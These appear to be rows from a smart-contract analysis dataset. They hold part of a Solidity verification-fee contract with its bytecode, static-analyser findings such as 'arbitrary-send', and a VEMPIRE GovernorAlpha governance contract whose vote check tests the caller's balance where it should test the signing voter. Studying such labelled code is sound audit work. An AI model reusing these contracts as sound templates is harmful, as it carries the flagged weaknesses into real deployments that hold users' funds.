/* -------------------- Administrative functions : ---------------------- */
// to avoid mistakes: owner (super admin) should be changed in two steps
// change is valid when accepted from new owner address
address private newOwner;
// only owner
function changeOwnerStart(address _newOwner) public {
require(msg.sender == owner);
newOwner = _newOwner;
ChangeOwnerStarted(msg.sender, _newOwner);
} //
event ChangeOwnerStarted (address indexed startedBy, address indexed newOwner);
// only by new owner
function changeOwnerAccept() public {
require(msg.sender == newOwner);
// event here:
OwnerChanged(owner, newOwner);
owner = newOwner;
} //
event OwnerChanged(address indexed from, address indexed to);
// only owner
function addManager(address _acc) public {
require(msg.sender == owner);
isManager[_acc] = true;
ManagerAdded(_acc, msg.sender);
} //
event ManagerAdded (address indexed added, address indexed addedBy);
// only owner
function removeManager(address manager) public {
require(msg.sender == owner);
isManager[manager] = false;
ManagerRemoved(manager, msg.sender);
} //
event ManagerRemoved(address indexed removed, address indexed removedBy);
// only by manager
function setPriceForVerification(uint priceInWei) public {
// see converter on https://etherconverter.online
require(isManager[msg.sender]);
uint oldPrice = priceForVerificationInWei;
priceForVerificationInWei = priceInWei;
PriceChanged(oldPrice, priceForVerificationInWei, msg.sender);
} //
event PriceChanged(uint from, uint to, address indexed changedBy);
// !!! can be called by any user or contract
// check for re-entrancy vulnerability http://solidity.readthedocs.io/en/develop/security-considerations.html#re-entrancy
// >>> since we are making a withdrawal to our own contract only there is no possible attack using re-entrancy vulnerability,
function withdrawAllToWithdrawalAddress() public returns (bool) {// (!) Gas requirement: infinite
// http://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether
// about <address>.send(uint256 amount) and <address>.transfer(uint256 amount)
// see: http://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=transfer#address-related
// https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage
uint sum = this.balance;
if (!withdrawalAddress.send(this.balance)) {// makes withdrawal and returns true or false
Withdrawal(withdrawalAddress, sum, msg.sender, false);
return false;
}
Withdrawal(withdrawalAddress, sum, msg.sender, true);
return true;
} //
event Withdrawal(address indexed to, uint sumInWei, address indexed by, bool success);
// only owner
function setWithdrawalAddress(address _withdrawalAddress) public {
require(msg.sender == owner);
require(!withdrawalAddressFixed);
WithdrawalAddressChanged(withdrawalAddress, _withdrawalAddress, msg.sender);
withdrawalAddress = _withdrawalAddress;
} //
event WithdrawalAddressChanged(address indexed from, address indexed to, address indexed changedBy);
// only owner
function fixWithdrawalAddress(address _withdrawalAddress) public returns (bool) {
require(msg.sender == owner);
require(withdrawalAddress == _withdrawalAddress);
// prevents event if already fixed
require(!withdrawalAddressFixed);
withdrawalAddressFixed = true;
WithdrawalAddressFixed(withdrawalAddress, msg.sender);
return true;
} //
// this event can be fired one time only
event WithdrawalAddressFixed(address withdrawalAddressFixedAs, address fixedBy);
}
|
0x6060604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302c29349811461019a57806309905bdb146101cd5780630dc2968c146101f257806321b8092e1461028857806322652e05146102a95780632d06177a146102c857806339b51e7c146102e757806345d6f02e1461030657806347889c4214610325578063546e1959146103445780635b3d0bc11461036357806361b027b01461038257806365455fdc146103c3578063735dca66146103e257806376e57d4b14610528578063836afead1461053b5780638da5cb5b1461055a5780639201de551461058957806392b4e1321461059f5780639538833c1461085a5780639a159bf61461086d578063ac18de431461088c578063b17a98b6146108ab578063c6688445146108be578063cfb51928146108d1578063d008a10b14610922578063d6e87b44146109be578063e998d2fa146109e3578063ec94526914610a02578063f2bcd02214610a21578063f3ae241514610a34578063fb20dc8014610a53575b600080fd5b34156101a557600080fd5b6101b9600160a060020a0360043516610a69565b604051901515815260200160405180910390f35b34156101d857600080fd5b6101e0610b35565b60405190815260200160405180910390f35b34156101fd57600080fd5b610211600160a060020a0360043516610b3b565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561024d578082015183820152602001610235565b50505050905090810190601f16801561027a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029357600080fd5b6102a7600160a060020a0360043516610beb565b005b34156102b457600080fd5b610211600160a060020a0360043516610c8c565b34156102d357600080fd5b6102a7600160a060020a0360043516610d09565b34156102f257600080fd5b6101e0600160a060020a0360043516610d7d565b341561031157600080fd5b6101e0600160a060020a0360043516610d8f565b341561033057600080fd5b6101e0600160a060020a0360043516610da1565b341561034f57600080fd5b6102a7600160a060020a0360043516610db3565b341561036e57600080fd5b6101e0600160a060020a0360043516610e2c565b341561038d57600080fd5b6103a1600160a060020a0360043516610e3e565b6040516bffffffffffffffffffffffff19909116815260200160405180910390f35b34156103ce57600080fd5b6101e0600160a060020a0360043516610e5f565b34156103ed57600080fd5b6102a760048035600160a060020a03169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094966bffffffffffffffffffffffff19873516966020808201359750919550606081019450604090810135860180830194503592508291601f83018190048102019051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650610e7195505050505050565b341561053357600080fd5b6101b9611144565b341561054657600080fd5b6101e0600160a060020a0360043516611154565b341561056557600080fd5b61056d611166565b604051600160a060020a03909116815260200160405180910390f35b341561059457600080fd5b610211600435611175565b34156105aa57600080fd5b6105be600160a060020a0360043516611231565b60405180806020018a81526020018060200180602001898152602001806020018881526020018781526020018060200186810386528f81815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561066f5780601f106106445761010080835404028352916020019161066f565b820191906000526020600020905b81548152906001019060200180831161065257829003601f168201915b505086810385528d54600260001961010060018416150201909116048082526020909101908e9080156106e35780601f106106b8576101008083540402835291602001916106e3565b820191906000526020600020905b8154815290600101906020018083116106c657829003601f168201915b505086810384528c54600260001961010060018416150201909116048082526020909101908d9080156107575780601f1061072c57610100808354040283529160200191610757565b820191906000526020600020905b81548152906001019060200180831161073a57829003601f168201915b505086810383528a54600260001961010060018416150201909116048082526020909101908b9080156107cb5780601f106107a0576101008083540402835291602001916107cb565b820191906000526020600020905b8154815290600101906020018083116107ae57829003601f168201915b505086810382528754600260001961010060018416150201909116048082526020909101908890801561083f5780601f106108145761010080835404028352916020019161083f565b820191906000526020600020905b81548152906001019060200180831161082257829003601f168201915b50509e50505050505050505050505050505060405180910390f35b341561086557600080fd5b6102a761126c565b341561087857600080fd5b6101e0600160a060020a03600435166112f7565b341561089757600080fd5b6102a7600160a060020a0360043516611309565b34156108b657600080fd5b6101b961137a565b34156108c957600080fd5b610211611461565b34156108dc57600080fd5b6101e060046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506114cc95505050505050565b6102a760046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094966bffffffffffffffffffffffff19873516969095506040808201955060209182013587018083019550359350839250601f83018290048202909101905190810160405281815292919060208401838380828437509496506114d995505050505050565b34156109c957600080fd5b61056d6bffffffffffffffffffffffff19600435166116ff565b34156109ee57600080fd5b6102a7600160a060020a036004351661171a565b3415610a0d57600080fd5b6101e0600160a060020a0360043516611848565b3415610a2c57600080fd5b61056d61185a565b3415610a3f57600080fd5b6101b9600160a060020a0360043516611869565b3415610a5e57600080fd5b6102a760043561187e565b600e5460009033600160a060020a03908116911614610a8757600080fd5b601154600160a060020a03838116911614610aa157600080fd5b60115460a060020a900460ff1615610ab857600080fd5b6011805474ff0000000000000000000000000000000000000000191660a060020a17908190557fff51cf04e7fbddffc521b8673e9282b10a91c659c12eea9ef99182bd9a95ff7190600160a060020a031633604051600160a060020a039283168152911660208201526040908101905180910390a1506001919050565b60105481565b60016020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be35780601f10610bb857610100808354040283529160200191610be3565b820191906000526020600020905b815481529060010190602001808311610bc657829003601f168201915b505050505081565b600e5433600160a060020a03908116911614610c0657600080fd5b60115460a060020a900460ff1615610c1d57600080fd5b601154600160a060020a033381169183821691167f15fc95cfd5d20b9661cf80c2719d8e3180bee6d89379a03b7b14ca6ac6adea9860405160405180910390a46011805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60096020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be35780601f10610bb857610100808354040283529160200191610be3565b600e5433600160a060020a03908116911614610d2457600080fd5b600160a060020a038082166000818152600f602052604090819020805460ff1916600117905533909216917f05a4006f300442cf8b7fdb885f5ee958812020bffb5c5a8e655fde64e5f987ed905160405180910390a350565b60076020526000908152604090205481565b600a6020526000908152604090205481565b60056020526000908152604090205481565b600e5433600160a060020a03908116911614610dce57600080fd5b6012805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169182179092559033167f856621e76473127fb731503843c14f7b85c6c36fc405c3ea121471425f54fd7960405160405180910390a350565b60026020526000908152604090205481565b6000602081905290815260409020546c010000000000000000000000000281565b60046020526000908152604090205481565b600160a060020a0333166000908152600f602052604090205460ff161515610e9857600080fd5b600160a060020a0388166000908152600a60205260409020541515610ebc57600080fd5b600160a060020a03881660009081526007602052604090205415610edf57600080fd5b600160a060020a0388166000908152600d60205260409020878051610f089291602001906118f6565b50600160a060020a03881660008181526020818152604080832080546c010000000000000000000000008c0473ffffffffffffffffffffffffffffffffffffffff19918216179091556bffffffffffffffffffffffff198b168452600b83528184208054909116851790559282526002808252838320899055600d9091529190206001810187905501848051610fa29291602001906118f6565b50610fac846114cc565b600160a060020a038916600090815260036020818152604080842094909455600d905291902001838051610fe49291602001906118f6565b50610fee836114cc565b600160a060020a0389166000908152600460208181526040808420949094556005808252848420879055600d90915292909120908101849055018180516110399291602001906118f6565b50611043816114cc565b600160a060020a038916600081815260066020818152604080842095909555600781528483204290819055600d909152918490209081019190915590917f2014ad745d5cc240a4565583f1c0cf348b91f892966a154d418c591911ea04bf9190339051600160a060020a03821660208201526040808252835460026000196101006001841615020190911604908201819052819060608201908590801561112b5780601f106111005761010080835404028352916020019161112b565b820191906000526020600020905b81548152906001019060200180831161110e57829003601f168201915b5050935050505060405180910390a25050505050505050565b60115460a060020a900460ff1681565b60086020526000908152604090205481565b600e54600160a060020a031681565b61117d611970565b611185611970565b600060206040518059106111965750595b818152601f19601f8301168101602001604052905091505b602081101561122a578381602081106111c357fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000028282815181106111f257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506001016111ae565b5092915050565b600d60205260009081526040902060018101546004820154600683015460078401546002850192600386019290916005870191906008880189565b60125433600160a060020a0390811691161461128757600080fd5b601254600e54600160a060020a0391821691167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a3601254600e805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b60036020526000908152604090205481565b600e5433600160a060020a0390811691161461132457600080fd5b600160a060020a038082166000818152600f602052604090819020805460ff1916905533909216917f3e902a6ee93dd5b2d48bd1009c7701a481be512b1ef73dbed2f95ea44c59ea88905160405180910390a350565b601154600090600160a060020a03308116803192909116903180156108fc0290604051600060405180830381858888f19350505050151561140b57601154600160a060020a0333811691167f78746de4b42c369479b14075849ee3378535cb810d96e74712e26a7924f7b021836000604051918252151560208201526040908101905180910390a36000915061145d565b601154600160a060020a0333811691167f78746de4b42c369479b14075849ee3378535cb810d96e74712e26a7924f7b021836001604051918252151560208201526040908101905180910390a3600191505b5090565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be35780601f10610bb857610100808354040283529160200191610be3565b6000602082015192915050565b6010543410156114e857600080fd5b600160a060020a0333166000908152600a60205260409020541561150b57600080fd5b825160281461151957600080fd5b6bffffffffffffffffffffffff1982166000908152600b6020526040902054600160a060020a03161561154b57600080fd5b600160a060020a03331660009081526001602052604090208380516115749291602001906118f6565b50600160a060020a0333166000908152600d602052604090206008018180516115a19291602001906118f6565b600160a060020a033316600090815260096020526040902081546115d8929060026000196101006001841615020190911604611982565b50600160a060020a0333166000818152600a6020526040908190204290557f3c21c5143ac760b44e24852cca9d3858a3487646fe0fa6c591aa3199cc65531a908590849051808060200180602001838103835285818151815260200191508051906020019080838360005b8381101561165b578082015183820152602001611643565b50505050905090810190601f1680156116885780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156116be5780820151838201526020016116a6565b50505050905090810190601f1680156116eb5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a2505050565b600b60205260009081526040902054600160a060020a031681565b80600160a060020a031633600160a060020a031614806117525750600160a060020a0333166000908152600f602052604090205460ff165b151561175d57600080fd5b600160a060020a0380821660008181526008602090815260408083204290819055600d909252918290206007810182905533909416937fc6f2b8565550ea0e6941e2f0f6b7e65e5eb1fdccb33e0c7815af0f3ce5669cff929091905160208101829052604080825283546002600019610100600184161502019091160490820181905281906060820190859080156118365780601f1061180b57610100808354040283529160200191611836565b820191906000526020600020905b81548152906001019060200180831161181957829003601f168201915b5050935050505060405180910390a350565b60066020526000908152604090205481565b601154600160a060020a031681565b600f6020526000908152604090205460ff1681565b600160a060020a0333166000908152600f602052604081205460ff1615156118a557600080fd5b506010805490829055600160a060020a0333167f665d155f71ad96c4a04629d54ef9fb27ef57911253588f2ee93474cd02fa3f53828460405191825260208201526040908101905180910390a25050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061193757805160ff1916838001178555611964565b82800160010185558215611964579182015b82811115611964578251825591602001919060010190611949565b5061145d9291506119f7565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106119bb5780548555611964565b8280016001018555821561196457600052602060002091601f016020900482015b828111156119645782548255916001019190600101906119dc565b611a1191905b8082111561145d57600081556001016119fd565b905600a165627a7a723058205d883535e3010c345f71e8432366745740f31a379d0340e8801b497f4fee1aa90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,213 |
0x031b84f274ed5905a1d7ebfbf223700d8dc299e9
|
/**
*Submitted for verification at Etherscan.io on 2021-09-23
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface xVempInterface {
function balanceOf(address account) external view returns (uint256);
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
//
contract GovernorAlpha {
// @notice The name of this contract
string public constant name = "VEMPIRE Governor Alpha";
uint minTokensForVote = 75000 * (10**18);
uint minTokensForProposal = 75000 * (10**18);
// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 30; }
// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
// @notice Min xVEMP for voting
function minxVempForVote() public view returns (uint) { return minTokensForVote; } // ~75000 xVemp Tokens
// @notice Min xVEMP for proposal
function minxVempForProposal() public view returns (uint) { return minTokensForProposal; } // ~75000 xVemp Tokens
// @notice The address of the VEMPIRE Protocol Timelock
TimelockInterface public timelock;
// @notice The address of the VEMPIRE governance token
xVempInterface public xVemp;
// @notice The address of the Governor Guardian
address public guardian;
// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
// @notice Unique id for looking up a proposal
uint id;
// @notice Creator of the proposal
address proposer;
// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
// @notice the ordered list of target addresses for calls to be made
address[] targets;
// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// @notice The ordered list of function signatures to be called
string[] signatures;
// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
// @notice Current number of votes in favor of this proposal
uint forVotes;
// @notice Current number of votes in opposition to this proposal
uint againstVotes;
// @notice Flag marking whether the proposal has been canceled
bool canceled;
// @notice Flag marking whether the proposal has been executed
bool executed;
// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
// @notice Ballot receipt record for a voter
struct Receipt {
// @notice Whether or not a vote has been cast
bool hasVoted;
// @notice Whether or not the voter supports the proposal
bool support;
// @notice The number of votes the voter had, which were cast
uint96 votes;
}
// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address xVemp_, address guardian_) public {
require(guardian_ != address(0), "GovernorAlpha::guardian can not be 0 address");
timelock = TimelockInterface(timelock_);
xVemp = xVempInterface(xVemp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(xVemp.balanceOf(msg.sender) > minxVempForProposal(), "GovernorAlpha::propose: must have proper xVEMP token to create proposal");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value:proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian, "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
require(xVemp.balanceOf(msg.sender) > minxVempForVote(), "GovernorAlpha::propose: must have proper xVEMP token to cast vote");
uint96 voterVote = 1;
if (support) {
proposal.forVotes = add256(proposal.forVotes, voterVote);
} else {
proposal.againstVotes = add256(proposal.againstVotes, voterVote);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = voterVote;
emit VoteCast(voter, proposalId, support, voterVote);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function setMinProposalValue(uint _minValue) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
minTokensForProposal = _minValue;
}
function setMinVoteValue(uint _minValue) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
minTokensForVote = _minValue;
}
function updateGuardian(address _guardian) public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = _guardian;
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x6080604052600436106101d85760003560e01c80634f1e2b0211610102578063d435e2b511610095578063deaaa7cc11610064578063deaaa7cc14610507578063e23a9a521461051c578063fc52539514610549578063fe0d94c114610569576101d8565b8063d435e2b51461049d578063da35c664146104b2578063da95691a146104c7578063ddf0b009146104e7576101d8565b80638ae0c289116100d15780638ae0c289146104335780639150067114610453578063b9a6196114610473578063d33219b414610488576101d8565b80634f1e2b02146103d4578063667e55e0146103e9578063760fbc13146104095780637bdbe4d01461041e576101d8565b806324bc1a641161017a57806340e58ee51161014957806340e58ee51461035d57806342d800da1461037d578063452a93201461039f5780634634c61f146103b4576101d8565b806324bc1a64146102d6578063328dd982146102eb5780633932abb11461031b5780633e4f49e614610330576101d8565b806315373e3d116101b657806315373e3d1461025f57806317977c611461028157806320606b70146102a157806321f43e42146102b6576101d8565b8063013cf08b146101dd57806302a251a31461021b57806306fdde031461023d575b600080fd5b3480156101e957600080fd5b506101fd6101f836600461245c565b61057c565b6040516102129998979695949392919061313d565b60405180910390f35b34801561022757600080fd5b506102306105d5565b6040516102129190612842565b34801561024957600080fd5b506102526105db565b60405161021291906128b9565b34801561026b57600080fd5b5061027f61027a3660046124a0565b61060d565b005b34801561028d57600080fd5b5061023061029c3660046122a4565b61061c565b3480156102ad57600080fd5b5061023061062e565b3480156102c257600080fd5b5061027f6102d13660046122bf565b610652565b3480156102e257600080fd5b5061023061073a565b3480156102f757600080fd5b5061030b61030636600461245c565b61073f565b60405161021294939291906127ea565b34801561032757600080fd5b506102306109ce565b34801561033c57600080fd5b5061035061034b36600461245c565b6109d3565b60405161021291906128a5565b34801561036957600080fd5b5061027f61037836600461245c565b610b5f565b34801561038957600080fd5b50610392610d19565b60405161021291906126b4565b3480156103ab57600080fd5b50610392610d28565b3480156103c057600080fd5b5061027f6103cf3660046124cf565b610d37565b3480156103e057600080fd5b50610230610ee9565b3480156103f557600080fd5b5061027f61040436600461245c565b610eef565b34801561041557600080fd5b5061027f610f1e565b34801561042a57600080fd5b50610230610f5a565b34801561043f57600080fd5b5061027f61044e36600461245c565b610f5f565b34801561045f57600080fd5b5061027f61046e3660046122bf565b610f8e565b34801561047f57600080fd5b5061027f611064565b34801561049457600080fd5b506103926110f8565b3480156104a957600080fd5b50610230611107565b3480156104be57600080fd5b5061023061110d565b3480156104d357600080fd5b506102306104e23660046122e9565b611113565b3480156104f357600080fd5b5061027f61050236600461245c565b61151c565b34801561051357600080fd5b5061023061178b565b34801561052857600080fd5b5061053c610537366004612474565b6117af565b6040516102129190613077565b34801561055557600080fd5b5061027f6105643660046122a4565b61181e565b61027f61057736600461245c565b61186a565b6006602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b61438090565b6040518060400160405280601681526020017556454d5049524520476f7665726e6f7220416c70686160501b81525081565b610618338383611a2f565b5050565b60076020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6004546001600160a01b031633146106855760405162461bcd60e51b815260040161067c90612a65565b60405180910390fd5b6002546040516001600160a01b0390911690630825f38f9082906000906106b09087906020016126b4565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016106df94939291906126c8565b600060405180830381600087803b1580156106f957600080fd5b505af115801561070d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261073591908101906123e9565b505050565b601e90565b606080606080600060066000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156107c157602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116107a3575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561081357602002820191906000526020600020905b8154815260200190600101908083116107ff575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108e65760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108d25780601f106108a7576101008083540402835291602001916108d2565b820191906000526020600020905b8154815290600101906020018083116108b557829003601f168201915b50505050508152602001906001019061083b565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109b85760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109a45780601f10610979576101008083540402835291602001916109a4565b820191906000526020600020905b81548152906001019060200180831161098757829003601f168201915b50505050508152602001906001019061090d565b50505050905094